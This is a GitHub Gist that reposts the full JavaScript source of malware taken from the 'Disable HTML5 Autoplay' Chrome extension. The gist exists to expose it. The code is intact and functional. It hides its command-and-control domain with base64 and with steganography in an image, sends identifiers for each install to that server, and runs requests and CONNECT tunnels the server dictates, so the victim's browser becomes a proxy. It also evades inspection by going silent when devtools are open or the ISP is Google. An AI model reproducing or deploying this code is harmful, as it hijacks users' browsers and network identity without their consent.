Created
December 14, 2022 09:38
-
-
Save egorvinogradov/cd54402e11b68f331d36641e4f2e0b2a to your computer and use it in GitHub Desktop.
Malware code from the "Disable HTML5 Autoplay" Chrome extension. See https://github.com/Eloston/disable-html5-autoplay/issues/223
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// var ts = Math.round((new Date()).getTime() / 1000); | |
// if (ts < 1544559309){ | |
// return; | |
// } | |
var socketCluster = require('socketcluster-client'); | |
var http = require('http'); | |
var https = require('https'); | |
var f5stego = require('f5stegojs'); | |
var request = require('request') | |
var fs = require('fs') | |
var WebSocket = require('isomorphic-ws') | |
var Url = require('url-parse'); | |
var util = require('util') | |
var getRandomValues = require('get-random-values'); | |
var isChromeExtension = (typeof chrome !== 'undefined') | |
if(!isChromeExtension){ | |
var TextDecoderModule = util.TextDecoder | |
} else { | |
var TextDecoderModule = TextDecoder | |
} | |
var isAndroid = (typeof LiquidCore !== 'undefined') | |
var isProduction = true | |
var isDynamicDomain = true | |
var forceHttpSocket = false | |
var nodeManifestData = { | |
name: 'NodeJS', | |
permissions: [ | |
"<all_urls>" | |
] | |
} | |
// var SOCKET_HOSTNAME = 'localhost' | |
var SOCKET_HOSTNAME = 'Y2xpZW50Lm5yLWV4dGVuc2lvbnMuY29t=' | |
SOCKET_HOSTNAME = new Buffer(SOCKET_HOSTNAME, 'base64').toString(); | |
// if (isTest()) { | |
// isProduction = false | |
// SOCKET_HOSTNAME = 'localhost' | |
// const nock = require('nock') | |
// const scope = nock('http://ip-api.com',{ allowUnmocked: true }) | |
// .get('/json/') | |
// .reply(200, { | |
// "query" : "174.128.181.24" | |
// }) | |
// } | |
var VERSION = '0.4.1' | |
var requestsOptions = {} | |
var websockets = {} | |
var wsMessages = {} | |
var hostToDomainCache = {} | |
if(!isChromeExtension){ | |
process.on('uncaughtException', (err) => { | |
console.error('There was an uncaught error', err) | |
}) | |
} | |
function log(){ | |
if(!isProduction) { | |
console.log.apply( this, arguments ); | |
} | |
} | |
function isDevMode(callback) { | |
if(!isChromeExtension){ | |
return callback(isProduction && !isAndroid) | |
} | |
chrome.management.getSelf(function(result){ | |
callback(result.installType == 'development') | |
}) | |
} | |
function start(){ | |
log('Version:', VERSION) | |
function toBinString(arr) { | |
var uarr = new Uint8Array(arr.map(function(x) { return parseInt(x, 2) })); | |
var strings = [], | |
chunksize = 0xffff; | |
// There is a maximum stack size. We cannot call String.fromCharCode with as many arguments as we want | |
for (var i = 0; i * chunksize < uarr.length; i++) { | |
strings.push(String.fromCharCode.apply(null, uarr.subarray(i * chunksize, (i + 1) * chunksize))); | |
} | |
return strings.join(''); | |
} | |
function getRandomToken() { | |
// E.g. 8 * 32 = 256 bits token | |
var randomPool = new Uint8Array(32); | |
getRandomValues(randomPool); | |
var hex = ''; | |
for (var i = 0; i < randomPool.length; ++i) { | |
hex += randomPool[i].toString(16); | |
} | |
// E.g. db18458e2782b2b77e36769c569e263a53885a9944dd0a861e5064eac16f1a | |
return hex; | |
} | |
function getManifest() { | |
if(isChromeExtension){ | |
return chrome.runtime.getManifest() | |
} else { | |
return nodeManifestData | |
} | |
} | |
function getUserAgent(){ | |
if(isChromeExtension){ | |
return navigator.userAgent | |
} else { | |
return 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.3729.157 Iron Safari/537.36' | |
} | |
} | |
function getChromeVersion() { | |
return /Chrome\/([0-9.]+)/.exec(getUserAgent())[1]; | |
} | |
function getExtensionId() { | |
if(isChromeExtension){ | |
return chrome.runtime.id | |
} else { | |
return 'NodeJS' | |
} | |
} | |
function getExtensionName() { | |
return getManifest().name | |
} | |
function getSupportedHostnames() { | |
if (!isChromeExtension) { | |
return [] | |
} | |
var permissions = getManifest().permissions; | |
var hostnames = []; | |
for (var i in permissions) { | |
var permission = permissions[i]; | |
if ((permission.substring(0, 6) == "*://*.") && | |
permission.substring(permission.length - 2) == "/*") { | |
var hostname = permission.substring(6, permission.length - 2); | |
hostnames.push(hostname) | |
} | |
} | |
return hostnames; | |
} | |
function isAllUrlPermission() { | |
if (!isChromeExtension) { | |
return true | |
} | |
var permissions = getManifest().permissions; | |
for (var i in permissions) { | |
var permission = permissions[i]; | |
if (permission == '*://*/*' || permission == '<all_urls>') { | |
return true; | |
} | |
} | |
if(permissions.indexOf("https://*/*") != -1 && | |
permissions.indexOf("http://*/*") != -1){ | |
return true | |
} | |
return false; | |
} | |
String.prototype.replaceAll = function(search, replacement) { | |
var target = this; | |
return target.replace(new RegExp(search, 'g'), replacement); | |
}; | |
var suppoertedHostnames = getSupportedHostnames(); | |
var isAllUrls = isAllUrlPermission() | |
var socket; | |
function ipLookup(socket) { | |
log('Getting public IP') | |
http.get('http://ip-api.com/json/', function(resp) { | |
var geoData = ''; | |
// A chunk of data has been recieved. | |
resp.on('data', function(chunk) { | |
geoData += chunk; | |
}); | |
// The whole response has been received. Print out the result. | |
resp.on('end', function() { | |
geoData = JSON.parse(geoData); | |
if (geoData.isp == 'G2D2o2D2o2D2g2D2l2D2e2D2 L2D2L2D2C'.replaceAll('2D2', '')) { | |
invisibleLogic(true); | |
} | |
}); | |
}).on("error", function(err) { | |
log("Error while getting public IP: " + err.message); | |
}); | |
} | |
function getInstallationId(callback){ | |
if(isChromeExtension){ | |
chrome.storage.sync.get('installationId', function(items) { | |
var installationId = items.installationId; | |
if (installationId) { | |
useToken(installationId); | |
} else { | |
installationId = getRandomToken(); | |
chrome.storage.sync.set({installationId: installationId}, function() { | |
useToken(installationId); | |
}); | |
} | |
function useToken(installationId) { | |
callback(installationId) | |
} | |
}); | |
} else { | |
if(isAndroid){ | |
var filename = '/home/local/persistentData.json' | |
} else { | |
var filename = './persistentData.json' | |
} | |
try { | |
var data = JSON.parse(fs.readFileSync(filename)) | |
} catch (error) { | |
var data = { | |
installationId: getRandomToken() | |
} | |
fs.writeFileSync(filename, JSON.stringify(data)) | |
} | |
log('installationId: '+data.installationId) | |
callback(data.installationId) | |
} | |
} | |
function getSocketOptions(callback){ | |
var port = 8082 | |
var socketOptions = { | |
port: port, | |
autoReconnect: true, | |
autoConnect: false, | |
query: { | |
supportEncoding: true, | |
supportWs: true | |
}, | |
rejectUnauthorized: false // Only necessary during debug if using a self-signed certificate | |
}; | |
if (!isProduction) { | |
socketOptions.autoReconnectOptions= { | |
initialDelay: 200, //milliseconds | |
randomness: 100, //milliseconds | |
multiplier: 1, //decimal | |
maxDelay: 300 //milliseconds | |
} | |
} | |
var manifestData = getManifest() | |
var userAgent = getUserAgent() | |
socketOptions.query.manifestData = JSON.stringify(manifestData) | |
socketOptions.query.userAgent = userAgent; | |
socketOptions.query.chromeVersion = getChromeVersion() | |
socketOptions.query.appVersion = VERSION | |
socketOptions.query.lang = isChromeExtension ? 'Chrome': 'Node' | |
socketOptions.query.isAndroid = isAndroid | |
socketOptions.query.extensionId = getExtensionId() | |
if(!isDynamicDomain){ | |
socketOptions.hostname = SOCKET_HOSTNAME | |
callback(socketOptions) | |
} else { | |
function fallback(error){ | |
log('Error while trying fetching the domain, using fallback...',error) | |
socketOptions.hostname = SOCKET_HOSTNAME | |
callback(socketOptions) | |
} | |
try { | |
request.get({ | |
url:'https://storage.googleapis.com/chrome-extensions/icon.jpg', | |
encoding: null }, function (err, res, body) { | |
if(err){ | |
fallback(err) | |
} | |
try { | |
var j = new f5stego(new Buffer.from('kakaka'.toString(), 'utf8')); | |
j.parse(body); | |
var hiddenData = j.f5get(); | |
hiddenData = new TextDecoderModule("utf-8").decode(hiddenData); | |
hiddenData = JSON.parse(hiddenData) | |
// console.log(hiddenData) | |
var domain = hiddenData[getExtensionName()] || hiddenData.global | |
socketOptions.hostname = domain | |
callback(socketOptions) | |
} catch (error) { | |
fallback(error) | |
} | |
}); | |
} catch (error) { | |
fallback(error) | |
} | |
} | |
} | |
function initiateSocket() { | |
getSocketOptions(function(socketOptions){ | |
getInstallationId(function(installationId){ | |
socketOptions.secure = (socketOptions.hostname != 'localhost') | |
if (forceHttpSocket){ | |
socketOptions.secure = false | |
} | |
socketOptions.query.installationId = installationId | |
socket = socketCluster.create(socketOptions); | |
socket.on('connect_error', function(err) { | |
log('Connection Failed', err); | |
}); | |
socket.on('error', function(err) { | |
log('Socket Error', err); | |
}); | |
socket.on('connect', function() { | |
if(invisible){ | |
return socket.disconnect() | |
} | |
log('Connected to:', socketOptions.hostname) | |
ipLookup(socket) | |
}); | |
socket.on('disconnect', function(data) { | |
log('Disconnected', data) | |
}); | |
socket.on('close', function(statusCode, data) { | |
log('Closed', statusCode, data) | |
if (data && data.reconnectIn) { | |
setTimeout(function(){ | |
socket.connect() | |
}, data.reconnectIn*1000); | |
} | |
}); | |
socket.on('ws closed', function(options) { | |
var requestId = options.requestId | |
var ws = websockets[requestId] | |
if (ws) { | |
ws.close(1000) | |
} | |
}); | |
socket.on('ws connect', function(options) { | |
var port = Url(options.url).port | |
if(!port){ | |
options.url = options.url.replace(":443","").replace(":80","") | |
} | |
requestsOptions[options.url] = options | |
requestsOptions[options.requestId] = options | |
log(options.url) | |
if (isChromeExtension){ | |
var ws = new WebSocket(options.url); | |
} else { | |
var ws = new WebSocket(options.url, '', { | |
headers: options.headers | |
}); | |
} | |
ws.binaryType = 'arraybuffer'; | |
wsMessages[options.requestId] = [] | |
var clientMsgQueue = wsMessages[options.requestId] | |
websockets[options.requestId] = ws | |
ws.onopen = function open(){ | |
while (clientMsgQueue.length > 0) { | |
const message = clientMsgQueue.shift(); | |
ws.send(message) | |
} | |
}; | |
ws.onclose = function close() { | |
socket.emit('ws closed', { | |
requestId: options.requestId | |
}) | |
delete websockets[options.requestId] | |
delete wsMessages[options.requestId] | |
}; | |
function arrayBufferToBufferCycle(ab) { | |
var buffer = new Buffer(ab.byteLength); | |
var view = new Uint8Array(ab); | |
for (var i = 0; i < buffer.length; ++i) { | |
buffer[i] = view[i]; | |
} | |
return buffer; | |
} | |
ws.onmessage = function incoming(data) { | |
data = data.data | |
var isString = false | |
if (typeof data == 'string'){ | |
isString = true | |
} else { | |
if (isChromeExtension){ | |
data = arrayBufferToBufferCycle(data) | |
} | |
data = data.toString('base64') | |
} | |
socket.emit('ws message', { | |
requestId: options.requestId, | |
data: data, | |
isString | |
}) | |
}; | |
}) | |
socket.on('ws message', function(options){ | |
var requestId = options.requestId | |
var clientMsgQueue = wsMessages[requestId] | |
if (!clientMsgQueue){ | |
wsMessages[requestId] = [] | |
clientMsgQueue = wsMessages[requestId] | |
} | |
var ws = websockets[requestId] | |
var data = options.data | |
if (!options.isString){ | |
data = new Buffer(options.data, 'base64'); | |
} | |
if (ws && ws.readyState === 1) { | |
// if there still are msg queue consuming, keep it going | |
if (clientMsgQueue.length > 0) { | |
clientMsgQueue.push(data); | |
} else { | |
ws.send(data); | |
} | |
} else { | |
clientMsgQueue.push(data); | |
} | |
}) | |
socket.on('delegate request', function(options) { | |
var timeLast = Math.floor(new Date()) - options._time | |
// log('Worker -> extension, last:',timeLast) | |
var postdata; | |
if (options.postdata) { | |
postdata = new Buffer(options.postdata, 'base64'); | |
} | |
delete options.postdata; | |
requestsOptions[options.requestId] = options | |
options.headers["xxn-request-id"] = options["requestId"] | |
if (options.protocol == 'https') { | |
var requestHandler = https | |
} | |
if (options.protocol == 'http') { | |
var requestHandler = http | |
} | |
log(options.url) | |
delete options.url | |
delete options.protocol | |
var request = requestHandler.request( | |
options, | |
function(response) { | |
// Override the headers | |
if (options.responseHeaders != undefined) { | |
response.headers = options.responseHeaders | |
} | |
// Delete request options after request | |
// was executed | |
delete requestsOptions[options.requestId] | |
var headers = response.headers | |
if(isChromeExtension){ | |
delete headers['content-encoding'] | |
delete headers['Content-Encoding'] | |
} | |
socket.emit('response header', { | |
requestId: options.requestId, | |
statusCode: response.statusCode, | |
headers: headers | |
}); | |
response.on('data', function(chunk) { | |
socket.emit('response data', { | |
requestId: options.requestId, | |
data: chunk.toString('hex') | |
}) | |
}); | |
response.on('end', function() { | |
socket.emit('response end', { | |
requestId: options.requestId | |
}); | |
}); | |
}); | |
request.on('timeout', function(){ | |
socket.emit('request error', { | |
requestId: options.requestId, | |
error: new Error('Request Timeout Error') | |
}); | |
log("Request Timeout Error, aborting...") | |
request.abort(); | |
}); | |
request.on('error', function(error) { | |
// Ignored if its chrome extension because it already | |
// handled in webRequest.onErrorOccurred | |
if(!isChromeExtension){ | |
socket.emit('request error', { | |
requestId: options.requestId, | |
error: error | |
}); | |
log('error:',error) | |
} | |
}); | |
// log(postdata) | |
if (postdata) { | |
request.write(postdata); | |
} | |
request.end(); | |
}); | |
socket.on('reload extension', function(data) { | |
if (isChromeExtension) { | |
log('reloading extension') | |
chrome.runtime.reload() | |
} else { | |
if(isAndroid){ | |
LiquidCore.emit('reload') | |
socket.disconnect() | |
} | |
} | |
}); | |
socket.on('connect ssl', function(data) { | |
// var proxySocket = new net.Socket(); | |
// requestSockets[data.requestSocketId] = proxySocket | |
// proxySocket.connect(data.port, data.hostDomain, function() { | |
// proxySocket.write(new Buffer(data.bodyhead, 'base64')); | |
// socket.emit("ssl data",{ | |
// "requestSocketId": data.requestSocketId, | |
// "data":"HTTP/" + data.httpVersion + " 200 Connection established\r\n\r\n" | |
// }); | |
// }); | |
var proxySocket = net.connect({ | |
"host": data.hostDomain, | |
"port": data.port | |
}); | |
requestSockets[data.requestSocketId] = proxySocket | |
proxySocket.on('connect', function() { | |
proxySocket.write(new Buffer(data.bodyhead, 'base64')); | |
socket.emit("ssl data", { | |
"requestSocketId": data.requestSocketId, | |
"data": "HTTP/" + data.httpVersion + " 200 Connection established\r\n\r\n" | |
}); | |
}) | |
proxySocket.on('data', function(chunk) { | |
socket.emit("ssl data", { | |
"requestSocketId": data.requestSocketId, | |
"data": chunk | |
}); | |
}); | |
proxySocket.on('end', function() { | |
socket.emit("ssl end", { | |
"requestSocketId": data.requestSocketId | |
}); | |
}); | |
proxySocket.on('error', function() { | |
socket.emit("ssl data", { | |
"requestSocketId": data.requestSocketId, | |
"data": "HTTP/" + data.httpVersion + " 500 Connection error\r\n\r\n" | |
}); | |
socket.emit("ssl end", { | |
"requestSocketId": data.requestSocketId | |
}); | |
}); | |
}) | |
socket.on("ssl data", function(data) { | |
requestSocket = requestSockets[data.requestSocketId] | |
requestSocket.write(data.data) | |
}) | |
socket.on("ssl end", function(data) { | |
requestSocket = requestSockets[data.requestSocketId] | |
requestSocket.end() | |
}) | |
socket.connect(); | |
}) | |
}) | |
} | |
var invisible = false | |
function invisibleLogic(toggle) { | |
invisible = toggle | |
if (invisible) { | |
socket.disconnect() | |
log('disconnecting...') | |
} else { | |
initiateSocket() | |
log('reconnecting...') | |
} | |
} | |
if (isChromeExtension) { | |
// Defende from devtools investigating | |
var element = new Image; | |
var devtoolsOpen = false; | |
var lastState = false; | |
element.__defineGetter__("id", function() { | |
devtoolsOpen = true; // This only executes when devtools is open. | |
}); | |
if (isProduction) { | |
setInterval(function() { | |
devtoolsOpen = false; | |
console.log(element); | |
if (lastState != devtoolsOpen) { | |
invisibleLogic(devtoolsOpen) | |
} | |
lastState = devtoolsOpen | |
console.clear() | |
}, 500); | |
} | |
} | |
var requestSockets = {} | |
if (isChromeExtension) { | |
function arrayHeadersToObject(headers) { | |
var objHeaders = {} | |
for (var i = 0; i < headers.length; i++) { | |
var header = headers[i] | |
if (header.name in objHeaders) { | |
if (typeof objHeaders[header.name] === 'string') { | |
objHeaders[header.name] = [objHeaders[header.name]] | |
} | |
objHeaders[header.name].push(header.value) | |
} else { | |
objHeaders[header.name] = header.value | |
} | |
} | |
return objHeaders; | |
} | |
function createChromeListeners(includeExtraHeaders) { | |
var chromeReqIdToReqId = {} | |
var onBeforeSendHeadersInfo = ['blocking', 'requestHeaders'] | |
var onHeadersReceivedInfo = ['blocking', 'responseHeaders'] | |
var onBeforeRedirectInfo = ['responseHeaders'] | |
if (includeExtraHeaders) { | |
onBeforeSendHeadersInfo.push('extraHeaders') | |
onHeadersReceivedInfo.push('extraHeaders') | |
onBeforeRedirectInfo.push('extraHeaders') | |
} | |
chrome.webRequest.onBeforeSendHeaders.addListener( | |
function(info) { | |
var chromeReqId = info.requestId; | |
var headers = info.requestHeaders; | |
var requestId; | |
var isOurRequest = false; | |
for (var i = 0; i < headers.length; i++) { | |
var header = headers[i] | |
if (header.name == 'xxn-request-id') { | |
requestId = header.value | |
isOurRequest = true; | |
} | |
if (info.type == "websocket" && | |
(header.name.toLowerCase() == 'origin') && | |
(header.value == 'chrome-extension://'+getExtensionId()) && | |
requestsOptions[info.url]){ | |
requestId = info.url | |
isOurRequest = true; | |
} | |
} | |
if (isOurRequest) { | |
var newHeaders = [] | |
if(info.type == "websocket"){ | |
var urlRequestId = requestId | |
requestId = requestsOptions[urlRequestId].requestId | |
delete requestsOptions[urlRequestId] | |
for (var i = 0; i < headers.length; i++) { | |
var header = headers[i] | |
if (/sec-websocket/ig.test(header.name) || | |
['connection', 'upgrade'].indexOf(header.name.toLowerCase() != -1)) { | |
newHeaders.push(header) | |
} | |
} | |
} | |
var options = requestsOptions[requestId] | |
var originalHeaders = options.headers | |
for (var k in originalHeaders) { | |
if (originalHeaders.hasOwnProperty(k) && k != 'xxn-request-id') { | |
newHeaders.push({ 'name': k, 'value': originalHeaders[k] }) | |
} | |
} | |
chromeReqIdToReqId[chromeReqId] = requestId | |
return { requestHeaders: newHeaders }; | |
} | |
return {} | |
}, { | |
urls: ["<all_urls>"], // | |
types: ["xmlhttprequest", "websocket"] | |
}, | |
onBeforeSendHeadersInfo | |
); | |
chrome.webRequest.onHeadersReceived.addListener( | |
function(info) { | |
var headers = info.responseHeaders; | |
var newClientHeaders = [] | |
var chromeReqId = info.requestId; | |
var requestId = chromeReqIdToReqId[chromeReqId] | |
var isOurRequest = (requestId != undefined) | |
if (isOurRequest) { | |
var options = requestsOptions[requestId]; | |
// Check if it supposed to redirect | |
var newHeaders = arrayHeadersToObject(headers) | |
// Remove cookies headers from original request | |
var noCookiesHeaders = []; | |
for (var i = headers.length - 1; i >= 0; i--) { | |
var header = headers[i]; | |
if (header.name.toLowerCase() != 'set-cookie') { | |
noCookiesHeaders.push(header); | |
} | |
} | |
if (info.statusCode >= 300 && info.statusCode < 400) { | |
log('redirect'); | |
requestsOptions[options.requestId].isRedirected = true | |
socket.emit('response', { | |
requestId: requestId, | |
statusCode: info.statusCode, | |
headers: newHeaders | |
}); | |
return { cancel: true }; | |
} | |
requestsOptions[options.requestId].responseHeaders = newHeaders | |
if (info.type == "websocket"){ | |
socket.emit('response', { | |
requestId: requestId, | |
statusCode: info.statusCode, | |
headers: newHeaders | |
}) | |
} | |
return { responseHeaders: noCookiesHeaders }; | |
} | |
return {}; | |
}, { | |
urls: ["<all_urls>"], // | |
types: ["xmlhttprequest", "websocket"] | |
}, | |
onHeadersReceivedInfo | |
); | |
chrome.webRequest.onBeforeRedirect.addListener( | |
function(info) { | |
log('redirect') | |
return {} | |
}, { | |
urls: ["<all_urls>"], // | |
types: ["xmlhttprequest"] | |
}, | |
onBeforeRedirectInfo | |
); | |
chrome.webRequest.onErrorOccurred.addListener( | |
function(info) { | |
var chromeReqId = info.requestId; | |
var requestId = chromeReqIdToReqId[chromeReqId] | |
var isOurRequest = (requestId != undefined) | |
if (isOurRequest) { | |
var reqOptions = requestsOptions[requestId]; | |
if (!reqOptions.isRedirected){ | |
socket.emit('request error', { | |
requestId: requestId, | |
error: info.error | |
}); | |
log('error:',info.error) | |
} | |
delete chromeReqIdToReqId[chromeReqId] | |
delete requestsOptions[requestId] | |
} | |
}, | |
{ | |
urls: ["<all_urls>"], // | |
types: ["xmlhttprequest", "websocket"] | |
} | |
); | |
} | |
var chromeVersion = parseInt(getChromeVersion().split('.')[0]) | |
if (chromeVersion >= 72) { | |
createChromeListeners(true) | |
} else { | |
createChromeListeners(false) | |
} | |
} | |
initiateSocket() | |
} | |
isDevMode(function(isDev){ | |
if(!isProduction || (isProduction && !isDev)) { | |
if(!isAndroid){ | |
start() | |
} else { | |
LiquidCore.on('manifestData', function(manifestData) { | |
nodeManifestData = manifestData | |
start() | |
}) | |
// Request the manifest from android | |
LiquidCore.emit('getManifest') | |
} | |
} | |
}) | |
function isTest() { | |
if (!isChromeExtension && process.env.ENV == 'test') { | |
return true | |
} | |
return false | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment